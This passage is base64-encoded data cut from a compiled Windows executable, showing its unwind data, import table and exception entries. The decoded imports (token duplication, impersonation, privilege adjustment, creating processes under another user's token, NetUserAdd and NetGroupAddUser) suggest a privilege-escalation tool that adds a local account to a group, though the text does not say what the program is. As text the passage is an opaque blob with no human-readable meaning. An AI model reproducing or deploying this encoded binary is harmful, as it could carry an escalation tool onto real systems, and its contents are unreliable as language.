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m1hdGlvbgDBAlJldmVydFRvU2VsZgAAHwBBZGp1c3RUb2tlblByaXZpbGVnZXMArwFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAQURWQVBJMzIuZGxsAADpAE5ldFVzZXJBZGQAAIkATmV0R3JvdXBBZGRVc2VyAE5FVEFQSTMyLmRsbAAA6wFOdFF1ZXJ5T2JqZWN0AG50ZGxsLmRsbADVBFJ0bENhcHR1cmVDb250ZXh0ANwEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAA4wRSdGxWaXJ0dWFsVW53aW5kAADABVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAfwVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAngVUZXJtaW5hdGVQcm9jZXNzAACMA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAUgRRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAlAkdldEN1cnJlbnRUaHJlYWRJZAAA8wJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBvA0luaXRpYWxpemVTTGlzdEhlYWQAhQNJc0RlYnVnZ2VyUHJlc2VudADaAkdldFN0YXJ0dXBJbmZvVwDiBFJ0bFVud2luZEV4AEEFU2V0TGFzdEVycm9yAAA4AUVudGVyQ3JpdGljYWxTZWN0aW9uAADEA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAUAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgBrA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAsAVUbHNBbGxvYwAAsgVUbHNHZXRWYWx1ZQCzBVRsc1NldFZhbHVlALEFVGxzRnJlZQC0AUZyZWVMaWJyYXJ5AMoDTG9hZExpYnJhcnlFeFcAAGgEUmFpc2VFeGNlcHRpb24AAGcBRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAANwCR2V0U3RkSGFuZGxlAAAlBldyaXRlRmlsZQB9AkdldE1vZHVsZUZpbGVOYW1lVwAA3wFHZXRDb21tYW5kTGluZUEA4AFHZXRDb21tYW5kTGluZVcAVQNIZWFwRnJlZQAAngBDb21wYXJlU3RyaW5nVwAAuANMQ01hcFN0cmluZ1cAAFgCR2V0RmlsZVR5cGUAWANIZWFwUmVBbGxvYwB+AUZpbmRDbG9zZQCEAUZpbmRGaXJzdEZpbGVFeFcAAJUBRmluZE5leHRGaWxlVwCSA0lzVmFsaWRDb2RlUGFnZQC7AUdldEFDUAAAoQJHZXRPRU1DUAAAygFHZXRDUEluZm8A9gNNdWx0aUJ5dGVUb1dpZGVDaGFyABEGV2lkZUNoYXJUb011bHRpQnl0ZQBBAkdldEVudmlyb25tZW50U3RyaW5nc1cAALMBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAJAVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVwBbBVNldFN0ZEhhbmRsZQAA4QJHZXRTdHJpbmdUeXBlVwAAqAFGbHVzaEZpbGVCdWZmZXJzAAAJAkdldENvbnNvbGVPdXRwdXRDUAAABQJHZXRDb25zb2xlTW9kZQAAVgJHZXRGaWxlU2l6ZUV4ADMFU2V0RmlsZVBvaW50ZXJFeAAAWgNIZWFwU2l6ZQAAzgBDcmVhdGVGaWxlVwAkBldyaXRlQ29uc29sZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMqLfLZkrAADNXSDSZtT///////8BAAAAAQAAAAIAAAAAAAgAAAAAAAAAAAIAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAgAAKCgoAAAAAAAAAAAAAAEJqAUABAAAA/////wAAAAAAAAAAAAAAAEBlAUABAAAAAQAAAAAAAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACjzAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKPMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo8wFAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACjzAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKPMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcPgBQAEAAAAAAAAAAAAAAAAAAAAAAAAAwGcBQAEAAABAaQFAAQAAAFBsAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwPEBQAEAAAAw8wFAAQAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6AAAAAAAAQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAACAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoAAAAAAABBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAgQIAAAAAAAAAAAAAAAApAMAAGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4AAAAACPkBQAEAAAC0DAJAAQAAALQMAkABAAAAtAwCQAEAAAC0DAJAAQAAALQMAkABAAAAtAwCQAEAAAC0DAJAAQAAALQMAkABAAAAtAwCQAEAAAB/f39/f39/fwz5AUABAAAAuAwCQAEAAAC4DAJAAQAAALgMAkABAAAAuAwCQAEAAAC4DAJAAQAAALgMAkABAAAAuAwCQAEAAAAuAAAALgAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAgICAgIDAwMDAwMDAwAAAAAAAAAA/v////////8BAAAAAAAAAAEAAAB1mAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAAAGMQAAA41QEAcBAAAKoQAABE1QEAqhAAAGARAABY1QEAYBEAAFoZAABw1QEAWhkAAIIZAACU1QEAghkAABAdAACk1QEAEB0AABsdA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